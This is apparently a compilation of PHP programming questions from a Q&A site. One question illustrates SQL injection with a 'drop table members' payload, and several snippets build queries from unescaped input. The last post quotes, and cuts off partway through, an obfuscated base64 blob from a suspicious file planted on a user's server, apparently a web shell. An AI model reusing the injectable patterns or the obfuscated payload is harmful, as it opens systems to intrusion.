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  • Using javascript and php together

    - by EmmyS
    I have a PHP form that needs some very simple validation on submit. I'd rather do the validation client-side, as there's quite a bit of server-side validation that happens to deal with writing form values to a database. So I just want to call a javascript function onsubmit to compare values in two password fields. This is what I've got: function validate(form){ var password = form.password.value; var password2 = form.password2.value; alert("password:"+password+" password2:" + password2); if (password != password2) { alert("not equal"); document.getElementByID("passwordError").style.display="inline"; return false; } alert("equal"); return true; } The idea being that a default-hidden div containing an error message would be displayed if the two passwords don't match. The alerts are just to display the values of password and password2, and then again to indicate whether they match or not (will not be used in production code). I'm using an input type=submit button, and calling the function in the form tag: <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" onsubmit="return validate(this);"> Everything is alerting as expected when entering non-matching values. I would have hoped (and assumed, based on past use) that if the function returned false, the actual submit would not occur. And yet, it is. I'm testing by entering non-matching values in the password fields, and the alerts clearly show me the values and the not equal result, but the actual form action is still occurring and it's trying to write to my database. I'm pretty new at PHP; is there something about it that will not let me combine with javascript this way? Would it be better to use an input type=button and include submit() in the function itself if it returns true?

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  • How to write a good PHP database insert using an associative array

    - by Tom
    In PHP, I want to insert into a database using data contained in a associative array of field/value pairs. Example: $_fields = array('field1'=>'value1','field2'=>'value2','field3'=>'value3'); The resulting SQL insert should look as follows: INSERT INTO table (field1,field2,field3) VALUES ('value1','value2','value3'); I have come up with the following PHP one-liner: mysql_query("INSERT INTO table (".implode(',',array_keys($_fields)).") VALUES (".implode(',',array_values($_fields)).")"); It separates the keys and values of the the associative array and implodes to generate a comma-separated string . The problem is that it does not escape or quote the values that were inserted into the database. To illustrate the danger, Imagine if $_fields contained the following: $_fields = array('field1'=>"naustyvalue); drop table members; --"); The following SQL would be generated: INSERT INTO table (field1) VALUES (naustyvalue); drop table members; --; Luckily, multiple queries are not supported, nevertheless quoting and escaping are essential to prevent SQL injection vulnerabilities. How do you write your PHP Mysql Inserts? Note: PDO or mysqli prepared queries aren't currently an option for me because the codebase already uses mysql extensively - a change is planned but it'd take alot of resources to convert?

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  • How should I write new code when the old codebase and the environment uses lots of globals in PHP

    - by Nicola Peluchetti
    I'm working in the Wordpress environment which itself heavily relies on globals and the codebase I'm maintaining introduces some more. I want this to change and so I'm trying to think how should I handle this. For the globals our code has introduced I think I will set them as dependencies in the constructor or in getter / setter so that I don't rely on them being globals and then refactor the old codebase little by little so that we have no globals. With Wordpress globals I was thinking to wrap all WP globals inside a Wrapper class and hide them in there. Like this class WpGlobals { public static function getDb() { global $wpdb; return $wpdb; } } Would this be of any help? The idea is that I centralize all globals in one class and do not scatter them through the code, so that if Wordpress kills one of them I need to modify code only in one place. What would you do?

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  • Call phpexcel from joomla

    - by Oscar Calderon
    i have a problem about phpexcel and joomla. I'm developing some filter form to load excel reports, so i used phpexcel library to do this. Right now i have only a report, it works fine, but after that i upload inside joomla using PHP pages component that allows me to put php files inside joomla and call it. When i put them, i change a little bit the form that calls the php that generates the excel report, i call the php using a link like this: h**p://www.whiblix.com/index.php?option=com_php&Itemid=24 That is, calling it from Joomla, not directly the php. If i wanna call the php directly i could use this path: h**p://www.whiblix.com/components/com_php/files/repImportaciones.php What's the problem? The problem is, when i call the php that generates the excel through joomla, the excel that is downloaded is corrupt and only shows symbols in one cell when i open it. But if i call the php directly the report is generated fine. I could call the php directly, the problem is that if i call it directly i can't use this line of code: defined( '_JEXEC' ) or die( 'Restricted access' ); That is used to deny the direct access to php from call it directly, because it doesn' work because the security. Where's the problem? This is the code of php that generates the report (ommiting the code where generates the rows and cells): <?php //defined( '_JEXEC' ) or die( 'Restricted access' ); /** Error reporting */ error_reporting(E_ALL); date_default_timezone_set('Europe/London'); require_once 'Classes/PHPExcel.php'; // Create new PHPExcel object $objPHPExcel = new PHPExcel(); // Set properties $objPHPExcel->getProperties()->setCreator("Maarten Balliauw") ->setLastModifiedBy("Maarten Balliauw") ->setTitle("Office 2007 XLSX Test Document") ->setSubject("Office 2007 XLSX Test Document") ->setDescription("Test document for Office 2007 XLSX, generated using PHP classes.") ->setKeywords("office 2007 openxml php") ->setCategory("Test result file"); // Rename sheet $objPHPExcel->getActiveSheet()->setTitle('Reporte de Importaciones'); // Set active sheet index to the first sheet, so Excel opens this as the first sheet $objPHPExcel->setActiveSheetIndex(0); // Redirect output to a client’s web browser (Excel5) header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="repPrueba.xls"'); header('Cache-Control: max-age=0'); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save('php://output'); exit;

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  • Parse text file on click - and then display

    - by John R
    I am thinking of a methodology for rapid retrieval of code snippets. I imagine an HTML table with a setup like this: one two ... ten one oneTwo() oneTen() two twoOne() twoTen() ... ten tenOne() tenTwo() When a user clicks a function in this HTML table, a snippet of code is shown in another div tag or perhaps a popup window (I'm open to different solutions). I want to maintain only one PHP file named utitlities.php that contains a class called 'util'. This file & class will hold all the functions referenced in the above table (it is also used on various projects and is functional code). A key idea is that I do not want to update the HTML documentation everytime I write/update a new function in utilities.php. I should be able to click a function in the table and have PHP open the utilities file, parse out the apropriate function and display it in an HTML window. Questions: 1) I will be coding this in PHP and JavaScript but am wondering if similar scripts are available (for all or part) so I don't reinvent the wheel. 2) Quick & easy Ajax suggestions appreciated too (probably will use jquery, but am rusty). 3) Methodology for parsing out the functions from the utilities.php file (I'm not to good with regex).

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  • Using PHP and cURL to login to indyarocks.com

    - by Divya
    I am new to cURL and don't know much about it. I basically want to login to my account on www.indyarocks.com through libcurl for PHP. I don't know what type of authentication it uses (I don't know how to find that out.). When I go to http://www.indyarocks.com, I get a login form which asks for my username and password. I put in my username and password and click login and everything is good. I tried to automate this using cURL. This is a snippet of my code. curl_setopt($curl_connection, CURLOPT_URL, "http://www.indyarocks.com/loginchk.php"); curl_setopt($curl_connection, CURLOPT_POST, 1); curl_setopt($curl_connection, CURLOPT_HTTPAUTH, CURLAUTH_ANY); curl_setopt($curl_connection, CURLOPT_USERPWD, $username.':'.$password); I looked at the source of the login page and found out the address of the page to which the username and password are sent (the action attribute of the form) which is "http://www.indyarocks.com/loginchk.php" and set it as the target url. When I run this, I get username or password is wrong error and the login fails. My username and password is correct. I don't know what the problem is. Can the password be encrypted? Can that be responsible for this failure? Please help me get around this problem. I'll be really thankful. Thanks in advance.

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  • imageconvolution leaves black dot in the upper left corner

    - by Peter O.
    I'm trying to sharp resized images using this code: imageconvolution($imageResource, array( array( -1, -1, -1 ), array( -1, 16, -1 ), array( -1, -1, -1 ), ), 8, 0); When the transparent PNG image is sharpened, using code above, it appears with a black dot in the upper left corner (I have tried different convolution kernels, but the result is the same). After resizing the image looked OK. 1st image is the original one 2nd image is the sharpened one EDIT: What am I going wrong? I'm using the color retrieved from pixel. $color = imagecolorat($imageResource, 0, 0); imageconvolution($imageResource, array( array( -1, -1, -1 ), array( -1, 16, -1 ), array( -1, -1, -1 ), ), 8, 0); imagesetpixel($imageResource, 0, 0, $color); Is imagecolorat the right function? Or is the position correct? EDIT2: I have changed coordinates, but still no luck. I've check the transparency given by imagecolorat (according to this post). This is the dump: array(4) { red => 0 green => 0 blue => 0 alpha => 127 } Alpha 127 = 100% transparent. Those zeroes might cause the problem...

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  • An online php debugger/code editor

    - by Zirak
    It's a simple deal: I'm sometimes in places where I don't have my laptop, and find myself with spare time and an idea for a project. But unfortunately, I can't do anything about it. I tried a variety of solutions, which include running IDEs (like phpstorm or Aptana) on a disc-on-key or cd (very slow and unappealing), trying several online solutions (like http://phpanywhere.net) and found that all of them are either buggy, overloaded or underloaded with features, just difficult to use, require FTP etc etc. All that is required here is a syntax highlighting and debugging alerts; no actual running of code. So the question is split into two: 1)Do you know of a good online php editor that you've used and enjoyed? 2)If no, then how would you go about making one? The second one seems a bit general, so I'll try and expand...It might be a good idea; if you can't find one, make one. The question is about the concept of making a syntax highlighter (shouldn't be too difficult), and the difficult part of catching php errors WITHOUT executing any php code. Thank you in advance.

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  • Javascript + PHP $_POST array empty

    - by Peterim
    While trying to send a POST request via xmlhttp.open("POST", "url", true) (javascript) to the server I get an empty $_POST array. Firebug shows that the data is being sent. Here is the data string from Firebug: a=1&q=151a45a150.... But $_POST['q'] returns nothing. The interesting thing is that file_get_contents('php://input') does have my data (the string above), but PHP somehow doesn't recognize it. Tried both $_POST and $_REQUEST, nothing works. Headers being sent: POST /test.php HTTP/1.1 Host: website.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://website.com/ Content-Length: 156 Content-Type: text/plain; charset=UTF-8 Pragma: no-cache Cache-Control: no-cache Thank you for any suggestions.

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  • Who to select value from DropDown list in PHP???Problem

    - by sandy
    Hello .. I want to know the error in this code The following code retrieves the names of the members of the database query in the dropdownlist But how do I know who you selected.... I want to send messages only to the members that selected form dropdown list <?php include ("connect.php"); $name = $_POST['sector_list']; echo $name ; ?> <form method="POST" action="" > <input type="hidden" name="sector" value="sector_list"> <select name="sector_list" class="inputstandard"> <option size ="40" value="default">send to </option> <?php $result = mysql_query('select * from members ') or die (mysql_error()); while ($row = mysql_fetch_assoc($result)) { echo '<option size ="40" value=" '. $row['MemberID'] . '" name="' . $row['MemberName']. '">' . $row['MemberName']. '</option>'; } ?> </select> </form> I hope somebody can help me

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  • php form submit and the resend infromation screen

    - by Para
    Hello, I want to ask a best practice question. Suppose I have a form in php with 3 fields say name, email and comment. I submit the form via POST. In PHP I try and insert the date into the database. Suppose the insertion fails. I should now show the user an error and display the form filled in with the data he previously inserted so he can correct his error. Showing the form in it's initial state won't do. So I display the form and the 3 fields are now filled in from PHP with echo or such. Now if I click refresh I get a message saying "Are you sure you want to resend information?". OK. Suppose after I insert the data I don't carry on but I redirect to the same page but with the necessary parameters in the query string. This makes the message go away but I have to carry 3 parameters in the query string. So my question is: How is it better to do this? I want to not carry around lots of parameters in the query string but also not get that error. How can this be done? Should I use cookies to store the form information.

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  • FastCgiModule Error 500 on Windows7 Ultimate + IIS 7.5

    - by user63179
    I'm running IIS 7.5 on Windows 7 Ultimate. I've installed PHP Version 5.2.14 using Microsoft Web Platform Installer. I've created a virtual directory and a file with which I can browse it and it returns all the PHP information just fine. I'm trying to install MantisBT, and when I copy all the file to my virtual directory and browse index.php I receive the following error detail: Error Summary HTTP Error 500.0 - Internal Server Error The page cannot be displayed because an internal server error has occurred. Detailed Error Information Module FastCgiModule Notification ExecuteRequestHandler Handler PHP_via_FastCGI Error Code 0x00000000 Requested URL http://localhost:80/mantisbt/index.php Physical Path V:\wwwroot\mantisbt\index.php Logon Method Anonymous Logon User Anonymous I've changed these in the php.ini file: fastcgi.impersonate = 1 fastcgi.logging = 0 cgi.fix_pathinfo=1 cgi.force_redirect = 0 The Handler Mappings have this information: Request path: *.php Module: FastCgiModule Executable: C:[Path to PHP installation]\php-cgi.exe Name: PHP_via_FastCGI Thank you for any advice on this!!

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  • Execute javascript in PHP

    - by Andreas Bonini
    I'm generating your typical Web 2.0 HTML page with PHP: it contains a lot of <script> tags and javascript code that will substantially change the DOM after the load event. Is there a way to get the final HTML code directly from PHP, without opening the page with any browser? For example, let's say the HTML for the page is (it's just an example): <html> <head> <script>...the jquery library code...</script> <script>$(document).ready(function() { $("body").append("<p>Hi!</p>");</script> </head> <body> </body> </html> This HTML is saved in the $html PHP variable. Now, I want to pass that variable to some function that will return $result = <html>....<body><p>Hi!</p></body></html>. Is this possible?

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  • Finding cause of memory leaks in large PHP stacks

    - by Mike B
    I have CLI script that runs over several thousand iterations between runs and it appears to have a memory leak. I'm using a tweaked version of Zend Framework with Smarty for view templating and each iteration uses several MB worth of code. The first run immediately uses nearly 8MB of memory (which is fine) but every following run adds about 80kb. My main loop looks like this (very simplified) $users = UsersModel::getUsers(); foreach($users as $user) { $obj = new doSomethingAwesome(); $obj->run($user); $obj = null; unset($obj); } The point is that everything in scope should be unset and the memory freed. My understanding is that PHP runs through its garbage collection process at it's own desire but it does so at the end of functions/methods/scripts. So something must be leaking memory inside doSomethingAwesome() but as I said it is a huge stack of code. Ideally, I would love to find some sort of tool that displayed all my variables no matter the scope at some point during execution. Some sort of symbol-table viewer for php. Does anything like that or any other tools that could help nail down memory leaks in php exist?

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  • PHP Class Question

    - by Jerry
    Hi all I am trying to build a PHP class to check the username and password in MySql. I am getting "mysql_query(): supplied argument is not a valid MySQL-Link resource in D:\2010Portfolio\football\main.php on line 38" database has errors:" message. When I move my userQuery code out of my Class, it works fine. Only if it is inside my Class. I am not sure if the problem is that I don't build the connection to mysql inside my Class or not. Thanks for any helps!! Here is my code <?php $userName=$_POST['userName']; $userPw=$_POST['password']; class checkUsers { public $userName; public $userPw; function checkUsers($userName='', $userPw=''){ $this->userName=$userName; $this->userPw=$userPw; } function check1(){ if (empty($this->userName) || empty($this->userPw)){ $message="<strong>Please Enter Username and Password</strong>"; }else{ //line 38 is next line $userQuery=mysql_query("SELECT userName, userPw FROM user WHERE userName='$this->userName' and userPw='$this->userPw'", $connection); if (!$userQuery){ die("database has errors: ". mysql_error()); } if(mysql_num_rows($userQuery)==0){ $message="Please enter valid username and password"; } }//end empty check return $message; }//end check1 method }//end Class $checkUser=new checkUsers($userName, $userPw); echo $checkUser->check1(); ?> I appreciate any helps!!!!

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  • Idiomatic PHP web page creation

    - by GreenMatt
    My PHP experience is rather limited. I've just inherited some stuff that looks odd to me, and I'd like to know if this is a standard way to do things. The page which shows up in the browser location (e.g. www.example.com/example_page) has something like: <? $title = "Page Title"; $meta = "Some metadata"; require("pageheader.inc"); ?> <!-- Content --> Then pageheader.inc has stuff like: <? @$title = ($title) ? $title : ""; @$meta = ($meta) ? $meta : ""; ?> <html> <head> <title><?=$title?></title </head> <!-- and so forth --> Maybe others find this style useful, but it confuses me. I suppose this could be a step toward a rudimentary content management system, but the way it works here I'd think it adds to the processing the server has to do without reducing the load on the web developer enough to make it worth the effort. So, is this a normal way to create pages with PHP? Or should I pull all this in favor of a better approach? Also, I know that "<?" (vs. "<?php" ) is undesirable; I'm just reproducing what is in the code.

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  • GAPI output doesn't match Google Analytics website

    - by Yekver
    I have to get the main info about my Google Analytics Goals. I'm using GAPI lib, with this code: <?php require_once 'conf.inc'; require_once 'gapi.class.php'; $ga = new gapi(ga_email,ga_password); $dimensions = array('pagePath', 'hostname'); $metrics = array('goalCompletionsAll', 'goalConversionRateAll', 'goalValueAll'); $ga->requestReportData(ga_profile_id, $dimensions, $metrics, '-goalCompletionsAll', '', '2012-09-07', '2012-10-07', 1, 500); $gaResults = $ga->getResults(); foreach($gaResults as $result) { var_dump($result); } cut this code is output: object(gapiReportEntry)[7] private 'metrics' => array (size=3) 'goalCompletionsAll' => int 12031 'goalConversionRateAll' => float 206.93154454764 'goalValueAll' => float 0 private 'dimensions' => array (size=2) 'pagePath' => string '/catalogs.php' (length=13) 'hostname' => string 'www.example.com' (length=13) object(gapiReportEntry)[6] private 'metrics' => array (size=3) 'goalCompletionsAll' => int 9744 'goalConversionRateAll' => float 661.05834464043 'goalValueAll' => float 0 private 'dimensions' => array (size=2) 'pagePath' => string '/price.php' (length=10) 'hostname' => string 'www.example.com' (length=13) What I see on Google Analytics website on Goals URLs page with the same period of date is: Goal Completion Location Goal Completions Goal Value 1. /price.php 9,396 $0.00 2. /saloni.php 3,739 $0.00 As you can see outputs doesn't match. Why? What's wrong?

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  • PHP: MySQL query duplicating update for no reason

    - by ThinkingInBits
    The code below is first the client code, then the class file. For some reason the 'deductTokens()' method is calling twice, thus charging an account double. I've been programming all night, so I may just need a second pair of eyes: if ($action == 'place_order') { if ($_REQUEST['unlimited'] == 200) { $license = 'extended'; } else { $license = 'standard'; } if ($photograph->isValidPhotographSize($photograph_id, $_REQUEST['size_radio'])) { $token_cost = $photograph->getTokenCost($_REQUEST['size_radio'], $_REQUEST['unlimited']); $order = new ImageOrder($_SESSION['user']['id'], $_REQUEST['size_radio'], $license, $token_cost); $order->saveOrder(); $order->deductTokens(); header('location: account.php'); } else { die("Please go back and select a valid photograph size"); } } ######CLASS CODE####### <?php include_once('database_classes.php'); class Order { protected $account_id; protected $cost; protected $license; public function __construct($account_id, $license, $cost) { $this->account_id = $account_id; $this->cost = $cost; $this->license = $license; } } class ImageOrder extends Order { protected $size; public function __construct($account_id, $size, $license, $cost) { $this->size = $size; parent::__construct($account_id, $license, $cost); } public function saveOrder() { //$db = Connect::connect(); //$account_id = $db->real_escape_string($this->account_id); //$size = $db->real_escape_string($this->size); //$license = $db->real_escape_string($this->license); //$cost = $db->real_escape_string($this->cost); } public function deductTokens() { $db = Connect::connect(); $account_id = $db->real_escape_string($this->account_id); $cost = $db->real_escape_string($this->cost); $query = "UPDATE accounts set tokens=tokens-$cost WHERE id=$account_id"; $result = $db->query($query); } } ?> When I die("$query"); directly after the query, it's printing the proper statement, and when I run that query within MySQL it works perfectly.

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  • Why is my PHP upload script not working?

    - by Turner
    Hello all, I am doing some simple work with uploading a file. I am ignoring error checking and exceptions at this point just to get my uploads working. I have this HTML form: <form action='addResult.php' method='post' enctype='multipart/form-data' target='results_iFrame' onsubmit='startUpload();'> Entry: <input type='text' id='entry' /> Stop: <input type='text' id='stop' /> Final: <input type='text' id='final' /> Chart: <input type='file' id='chart' /> <input type='submit' value='Add' /></form> As you can see, it calls 'addResult.php' within the iFrame 'results_iFrame'. The Javascript is just for animation purposes and to tell me when things are finished. addResult.php has this code in it (along with processing the other inputs): $upload_dir = "../img/"; $chart_loc = $upload_dir.basename($_FILES['chart']['name']); move_uploaded_file($_FILES['chart']['tmp_name'], $chart_loc); print_r($_FILES); It uses the 'chart' input from the form and tries to upload it. I have the print_r() function to display some information on $_FILES, but the array is empty, thus making this fail. What could I be doing wrong?

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  • Retrieving database column using JSON [migrated]

    - by arokia
    I have a database consist of 4 columns (id-symbol-name-contractnumber). All 4 columns with their data are being displayed on the user interface using JSON. There is a function which is responisble to add new column to the database e.g (countrycode). The coulmn is added successfully to the database BUT not able to show the new added coulmn in the user interface. Below is my code that is displaying the columns. Can you help me? table.php $(document).ready(function () { // prepare the data var theme = getDemoTheme(); var source = { datatype: "json", datafields: [ { name: 'id' }, { name: 'symbol' }, { name: 'name' }, { name: 'contractnumber' } ], url: 'data.php', filter: function() { // update the grid and send a request to the server. $("#jqxgrid").jqxGrid('updatebounddata', 'filter'); }, cache: false }; var dataAdapter = new $.jqx.dataAdapter(source); // initialize jqxGrid $("#jqxgrid").jqxGrid( { source: dataAdapter, width: 670, theme: theme, showfilterrow: true, filterable: true, columns: [ { text: 'id', datafield: 'id', width: 200 }, { text: 'symbol', datafield: 'symbol', width: 200 }, { text: 'name', datafield: 'name', width: 100 }, { text: 'contractnumber', filtertype: 'list', datafield: 'contractnumber' } ] }); }); data.php <?php #Include the db.php file include('db.php'); $query = "SELECT * FROM pricelist"; $result = mysql_query($query) or die("SQL Error 1: " . mysql_error()); $orders = array(); // get data and store in a json array while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $pricelist[] = array( 'id' => $row['id'], 'symbol' => $row['symbol'], 'name' => $row['name'], 'contractnumber' => $row['contractnumber'] ); } echo json_encode($pricelist); ?>

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  • Executing system command in php, differs in using broswer and in using command line

    - by Amit
    Hi, I have to execute a Linux "more" command in php from a particular offset, format the result and display the result in Browser. My Code for the above is : <html> <head> <META HTTP-EQUIV=REFRESH CONTENT=10> <META HTTP-EQUIV=PRAGMA CONTENT=NO-CACHE> <title>Runtime Access log</title> </head> <body> <?php $moreCommand = "more +3693 /var/log/apache2/access_log | grep -v -e '.jpg' -e '.jpeg' -e '.css' -e '.js' -e '.bmp' -e '.ico'| wc -l"; exec($moreCommand, $accessDisplay); echo "<br/>No of lines are : $accessDisplay[0] <br/>"; ?> The output at the browser is :: No of lines are : 3428 (This is wrong) While executing the same command using command line gives a different output. My code snippet for the same is : <?php $moreCommand = "more +3693 /var/log/apache2/access_log | grep -v -e '.jpg' -e '.jpeg' -e '.css' -e '.js' -e '.bmp' -e '.ico'| wc -l"; exec($moreCommand, $accessDisplay); echo "No of lines are : $accessDisplay[0] \n"; ? The output at the command line is :: No of lines are : 279 (This is correct) While executing the same command directly in command line, gives me output as 279. I am unable to understand why the output of the same command is wrong in the browser. Its actually giving the word count of lines, ignoring the offset parameter. Please help !! Thanks, Amit

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  • Php - divide time period into equal intervals

    - by experc
    Hi! I am working on my php course project and for the past few days I have stucked at the point where I have to create php function which gets 5 parameters which represents information about the working time of some department - when the work starts/ends, when the lunchtime (or any other break) starts/ends and integer representing minutes into how small piecies we should divide time period. Besides - it's possible that there are not any breaks in the working time. The function should return all intervals from working time. function split_time_into_intervals($work_starts,$work_ends,$break_starts=null; $break_ends=null,$minutes_per_interval=60){ $intervals=array(); //all of the function code return $intervals; } So if I have the following parameters for the function function split_time_into_intervals("8:30","14:50","11:45"; "12:25"){ .. } I would like to retrieve the following array: $intervals[0]['starts']="8:30"; $intervals[0]['ends']="9:30"; $intervals[1]['starts']="9:30"; $intervals[1]['ends']="10:30"; $intervals[2]['starts']="10:30"; $intervals[2]['ends']="11:30"; $intervals[3]['starts']="11:30"; $intervals[3]['ends']="11:45"; //this interval was smaller than 60 minutes - because of the break (which starts at 11:45) $intervals[4]['starts']="12:25";//starts when the break ends $intervals[4]['ends']="13:25"; // interval is again 60 minutes $intervals[5]['starts']="13:25"; $intervals[5]['ends']="14:25"; $intervals[6]['starts']="14:25"; $intervals[6]['ends']="14:50"; //this period is shorter than 60 minutes - because work ends Any advises? I would apriciate any php (or C#) code regarding to this problem!

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  • Weird PHP file on my website

    - by sam
    Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does! <?php $k='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